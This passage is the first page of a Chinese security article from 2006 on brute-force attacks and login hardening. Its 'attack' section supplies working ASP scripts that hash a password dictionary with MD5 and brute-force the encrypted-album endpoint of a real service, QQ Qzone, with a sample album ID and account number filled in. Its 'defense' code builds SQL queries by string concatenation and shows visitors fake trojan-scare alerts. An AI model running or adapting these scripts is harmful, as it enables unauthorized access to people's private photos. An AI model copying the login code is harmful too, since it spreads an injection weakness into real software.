随着技术的成熟,现在的网站安全也随着提高了很多,但还是有不少有待提高的地方。对于网站,我一直以来都想写一个好的登陆接口,因为现在大部分的网站的登陆接口我真的不大满意,多多少少都存在一些漏洞――比如cookie欺骗、SQL注入、暴力破解等,尤其是暴力破解的防范方面,有些做得不够彻底。最近我终于有 了时间,所以就有了下文――本文只讨论暴力破解及单用户同时刻登陆次数这两个攻防问题。
攻: 暴力破解使用的是穷举大法。别看不起这个世界上最笨的方法,这个方法在没有办法的时候就是最好的办法!现在我就先写一个暴力破解程序(就用千寂孤城所介绍的XMLHTTP控件――简单嘛^.^),不过需要的必要条件就是要有一个Web环境――假如你网上没有空间的话,可以用系统安装盘在本地安装一个 IIS,搭建一个asp环境的Web服务器也行。 代码如下: <% '************************************************************************ '* 文件名: ForceCheck.asp '* 原作者: 沈杰[breach] '* 创建日期:2006.7. 27 '*********************************************************************** %> <%
dim i ,path,pwd const forreading=1,forwriting=2,forappending=8 set fso=createobject("Scripting.FileSystemObject") path=server.mappath("pass.txt") set zidian = fso.opentextfile(path,forreading,true) set http = createobject("Microsoft.XMLHTTP") http.open "get","http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum",false http.setrequestheader "content-type","application/x-www-form-urlencoded"
http.send "albumid=3158951(QQ号所对应的Q-zone中的相册唯一标记)&uin=10000(QQ号)&albpas=182be0c5cdcd5072(加密相册的密码,我们即将要暴力破解之)" falseLend = len(http.responsebody) response.write cstr(falseLend)+"<br>" i=0 do while zidian.atendofstream = false i=i+1 pwd = zidian.readline http.open "get","http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum",false http.setrequestheader "content-type","application/x-www-form-urlencoded" http.send "albumid=3158951&uin=100000&albpas="&pwd if len(http.responsebody) < falseLend-1000 or len(http.responsebody) > falseLend+1000 then response.write "相册密码:"+cstr(i)+"<br>" response.write "密码散列值:"+pwd+"<br>" falseLend = len(http.responsebody) response.write cstr(falseLend)+"<br>" response.write "<a href=http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum?albumid=3158951&uin=100000&albpas="&pwd&" target=_blank> 登陆相册看相片去^.^</a>" exit do end if loop %> 在此需要说明两点: 一、我们现在要暴力破解的是Q-zone中的加密相册。至于Q-zone中的加密相册的网络地址可以通过如下的途径来获.如图1 图1

二、代码的主要意思就是说利用XMLHTTP控件通过我们自己的字典反复向网站登陆页面提交密码,再通过返回数据来判断密码是否正确。各位看不懂代码意思的请回看第八期千寂孤城的文章,他讲地很清楚拉,在此不再赘述。 我上网找了一个字典生成器,生成了足够多的字典密码(password.txt)。但是由于Q-zone中的加密相册的密码是通过MD5加密的(编写者是用 JavaScript编写的,还是在2001年就写好的!! 加密后的是32位的密文,但是经过我测试的结果可以知道,只要32位密文中的前面20位就完全可以成功登陆拉),而我们的字典生成的密码并没有通过MD5加密。所以我再写一个脚本,把我们的字典转换成相应的MD5密文。相关代码如下: <% '/************************************************************************ '* 文件名: PassToMd5.asp '* 原作者: 沈杰[breach] '* 创建日期:2006.7.27 '***********************************************************************/ %> <!--#include file="md5.asp"--> <% dim i,pwd const forreading=1,forwriting=2,forappending=8 i =0 set fso=createobject("Scripting.FileSystemObject") path=server.mappath("password.txt ") set zidian = fso.opentextfile(path,forreading,true) path1=server.mappath("pass.txt ") set fileWrite=fso.opentextfile(path1,forappending,true) do while zidian.atendofstream = false pwd = zidian.readline i=i+1 response.write md5(pwd,32)+"<br>" fileWrite.write md5(pwd,32) &chr(13)&chr(10)
loop
fileWrite.close set fileWrite=nothing zidian.close set zidian=nothing set fso=nothing response.end %> 注:包含文件md5.asp是直接用动网论坛的。还有一点要说的就是,如果你觉得把ForceCheck.asp跟PassToMd5.asp合起来写顺眼点,那也是一个不错的想法!
测试的结果如下,点击“登陆相册看相片去”超链接就可以直接查看加密相册里的相片,如图2: 图2 [img] /pic/2/a2007-9-6-621adk.jpg[/img] 而对于单用户同时刻登陆次数的问题,我想说的是,我上网这么久,我从没有看过那个网站会限定一个帐号同一个时刻只能登陆一次,这可能是我孤陋寡闻吧,也有可能他们觉得没有必要这样做,但是假如你在一个地方登陆这个帐号,另外一个地方的一个恶意用户知道你的帐号密码后也马上登陆你的这个帐号,你会有什么样的感受呢?并且事实上你完全感觉不到你登陆的时候就已经有人同时在使用你的帐号,这是因为现有的网站代码本身就没有实现这样的监控功能!!所以我将以下面的一段代码一起来讨论这个问题。 防: 有攻击,就会有防守。针对上面的攻击,经过一段时间的测试并且努力编程,我实现我自己以前的一个小理想――我写出了自己的防暴力破解及限制单用户同时刻登陆一次等相关代码。 测试网址:http://www.gdsx.net/FinalLogon/ ,现在跟各位分享下我的编程成果。我写的这个登陆接口暂时没有认证码(各位可以自己根据自己的情况添加这个功能),但是我还是觉得安全性已经过得去拉。总的来说有如下几个特点: 1、我不限制ip,但是每一个ip只能登陆5次(系统会自动记录每一个ip相应的登陆次数),每一个ip尝试登陆5次,如果还是没有成功登陆时,继续尝试系统均会提示“真遗憾,已经达到了登陆帐号的次数,请过五分钟后再试:(!”,就是说到5分钟后才可以再用这个帐号登陆(成功登陆之后会把数据库里的所有 ip地址记录及相应ip对应的记录器清空,否则就不清空相关记录); 2、如果你用3个以上的代理ip来尝试破解的话,系统也会把整个帐号锁定,但还是继续让你暴力破解,但是你却无法知道正确的帐号密码; 3、并且每一个帐号在登陆使用中的5分钟时段内只能登陆一次,意思是说假如有一个人用了你的帐号已经登陆成功了,在他登陆的期间,同一个帐号不允许同时在两个地方登陆,如果你也要登陆的话,除非你有超级管理员密码,你可以用超级管理员密码登陆第二套方案中的后台,把你帐号关联的密码修改掉,并且在你修改的这段时间,任何的同帐号(不是当前的你,而是正使用你的帐号登陆的其他人)的操作都被冻结(他们进行的任何操作都会马上被Redirect到一个需要输入超级管理员密码才能继续操作的登陆页面); 4、还可以防止本地提交非法数据; 5、md5加密密码。在此只介绍核心代码――防暴力破解及限制单用户同时刻登陆一次代码,其他的就不介绍了。为了代码了易读性、简洁性,我把代码功能实现模块话。
首先介绍下数据库的设计,如图3: 图3

注:为了设计方便,我用的是access数据库,设计了Manage_User主表后最好再设计一个nodown表,用来防止数据库被非法下载,数据库完成后改为#%23databsetw9c45_data.asp
接着介绍框架代码如下:
框架代码的思路主要是说,当客户端传递参数给服务器的时候,首先要禁止从站点外部提交数据(直接在地址栏上输入验证地址或者本地提交等方式),接着根据客户提交的帐号到数据库里查询,假如不存在则关闭数据库,并转向相应的页面,存在该帐号就检测该帐号是否被锁,如果没有被锁,就调用 Logon_NotLocked过程,被锁就判断是否超时(超时时间我设为5分钟,这个各位可以根据自己的情况来设定),如果超时就调用 Logon_Locked_Timeout过程,如果没有超时就调用Logon_Locked_NotTimeout过程,如图4. 图4

<% '............禁止从站点外部提交数据 server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) server_v2=Cstr(Request.ServerVariables("SERVER_NAME")) if mid(server_v1,8,len(server_v2))<>server_v2 then %> <% '......对恶意刺探者“恐吓”下。呵呵^.^ %> < SCRIPT>alert("哈哈。你中木马拉!");alert("哈哈。木马下载中!");alert("哈哈。我很快就可以控制你拉!"); alert("哈哈。现在你最好是重新安装系统吧!");alert("哈哈。跟你开玩笑拉^.^本站不允许外地提交数据!")< /SCRIPT> <% response.end end if '............禁止从站点外部提交数据语句结束 %>
<% '........接着获取客户传递上来的参数:用户名跟密码 UserName=trim(Request.Form("name")) PassWord=trim(Request.Form("pwd")) '........调用CheckInfuse函数过滤非法字符(本文只讨论核心代码,所以这个函数在此就不公布了(如下的非核心函数全部不公布),各位可以上网找)。 Call CheckInfuse(UserName,35) Call CheckInfuse(PassWord,35) '........用MD5加密客户传递上来的密码值 PassWordmd5=md5(PassWord,16) set rs=server.createobject("adodb.recordset") sqltext="select * from Manage_User where UserName='" & UserName & "'" rs.open sqltext,conn,1,1 if rs.bof and rs.eof then '........查找数据库,检查用户名是否存在,假如不存在则关闭数据库RS,并转向相应的错误提示页面
Call Close_Data(rs)
Response.Redirect "login.asp?msg=您输入了错误的帐号,请再次输入!" response.end else '........假如存在这个帐号,那么首先验证帐号是否已锁 '........ LogonTime这个变量用来记录数据库里的帐号上一次的登陆时间 '........LogonLock这个变量用来记录数据库里的帐号是否已锁 '........ LogonTimeNow这个变量用来记录服务器当前的时间 '........ LogonTimeCam这个变量用来记录LogonTime及LogonTimeNow两个变量的时间差,用来验证帐号锁定时间是否已过5分钟 LogonTime=rs("LogonTime") LogonLock=rs("LogonLock") LogonTimeNow=Now() LogonTimeCam=DateDiff("s",LogonTime,LogonTimeNow)
if LogonLock = 1 then '........假如存在这个帐号,验证帐号是否已锁 假如被锁 if LogonTimeCam > 300 then '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如已过5分钟,调用Logon_Locked_Timeout过程
Call Logon_Locked_Timeout()
else '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如还没有过5分钟,调用Logon_Locked_NotTimeout过程
Call Logon_Locked_NotTimeout()
end if '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟 语句结束 else '.......帐号没有被锁 ,调用Logon_NotLocked过程 Call Logon_NotLocked() end if '.......假如存在这个帐号,那么首先验证帐号是否已锁 语句结束 end if '查找数据库,检查用户名是否存在 语句结束 %> 框架代码看起来代码简洁明了,层次分明。强烈建议初学者掌握这种模块化思想。
细节代码如下: <% '........把查询语句模块化,主要是用来更新表中的信息 sub Select_Name(UserName)
set rs=server.createobject("adodb.recordset") sqltext="select * from Manage_User where UserName='" & UserName & "'" rs.open sqltext,conn,1,3
end sub
'.......下面这个过程主要的意思是:假如帐号已锁,并且已经超过5分钟,这个时候就验证客户的帐号密码是否都正确,如果正确那么就调用Logon_Other过程来验证某个帐号现在是否在其他地方登陆,如果不正确就关闭数据库RS并转向相应的错误提示页面。 sub Logon_Locked_Timeout()
if rs.recordcount >= 1 and rs("UserName")=UserName and rs("PassWord")=PassWordmd5 then '.......验证帐号密码是否合法,假如合法的话
LogonedIpAddress=rs("LogonedIpAddress") '.......验证某个帐号现在是否在其他地方登陆
Call If_Logon_Other(LogonedIpAddress)
'........验证某个帐号现在是否在其他地方登陆 语句结束 else '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如已过5分钟,但验证帐号密码不合法的情况 Call Close_Data(rs) Response.Redirect "login.asp?msg=您帐号已经被系统锁定,可能是因为有恶意用户在暴力破解您的帐号,请跟系统管理员联系!" end if '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如已过5分钟。验证帐号密码是否合法 语句结束 end sub
'....... 下面这个过程主要的意思是:假如帐号已锁,并且还没有超过5分钟,这个时候就验证客户的帐号密码是否都正确,如果正确那么首先验证客户的ip地址及其相关的登陆次数是否达到5次,如果客户的ip地址及其相关的登陆次数还没有达到5次的话就调用 If_Logon_Other_Locked过程来验证某个帐号现在是否在其他地方登陆,如果不正确就关闭数据库RS并转向相应的错误提示页面。
sub Logon_Locked_NotTimeout()
if rs.recordcount >= 1 and rs("UserName")=UserName and rs("PassWord")=PassWordmd5 then '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如还没有过5分钟 验证帐号密码是否合法,假如合法的话
'......首先验证客户的ip地址及其相关的登陆次数是否达到5次 Call First_Ip_Note_Check()
LogonedIpAddress=rs("LogonedIpAddress") '.......验证某个帐号现在是否在其他地方登陆
Call If_Logon_Other_Locked(LogonedIpAddress)
'........验证某个帐号现在是否在其他地方登陆 语句结束 else '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如没过5分钟,并且验证帐号密码不合法的情况
Call Close_Data(rs)
Response.Redirect "login.asp?msg=您帐号已经被系统锁定,可能是因为有恶意用户在暴力破解您的帐号,请跟系统管理员联系!" end if '.......假如帐号已锁,验证帐号锁定时间是否已过5分钟,如还没有过5分钟 验证帐号密码是否合法 语句结束 end sub
'....... 下面这个过程主要的意思是:假如帐号已锁,并且已经超过5分钟及客户的帐号密码都正确,如果LogonedIpAddress不为空,则表明当前已经有人登陆了,因为这种情况可能是之前意外操作造成的(比如意外关机等),所以就把用户Redirect到一个页面,给于提示“您帐号现在已经在其他地方登陆,如果不是您之前意外操作造成的(比如意外关机等),请用超级管理员密码登陆修改密码。如果您觉得安全的话,可以直接<a href =MoveTo.asp>登陆后台</a>”,如果你觉得你的帐号已经被他人登陆了,可以马上用超级管理员密码登陆第二套方案中的后台,把你帐号关联的密码修改掉,并且在你修改的这段时间,任何的同帐号(不是当前的你,而是正使用你的帐号登陆的其他人)的操作都被冻结(他们进行的任何操作都会马上被Redirect到一个需要输入超级管理员密码才能继续操作的登陆页面),这样做的好处就是可以避免类似QQ软件的“速度比赛”的怪现象 ――假如有两个人在两个地方登陆,那就是一个比速度的问题(比谁修改密码的速度快);如果LogonedIpAddress为空,那么表明当前帐号现在没有在其他地方登陆,是安全的,就更新数据库相应的信息后直接登陆后台。
1 2 下一页
·上一篇: Win2K系统几个攻击实例成败心得(二)
·下一篇: Web2.0网站攻击新潮—Ajax Hacking
|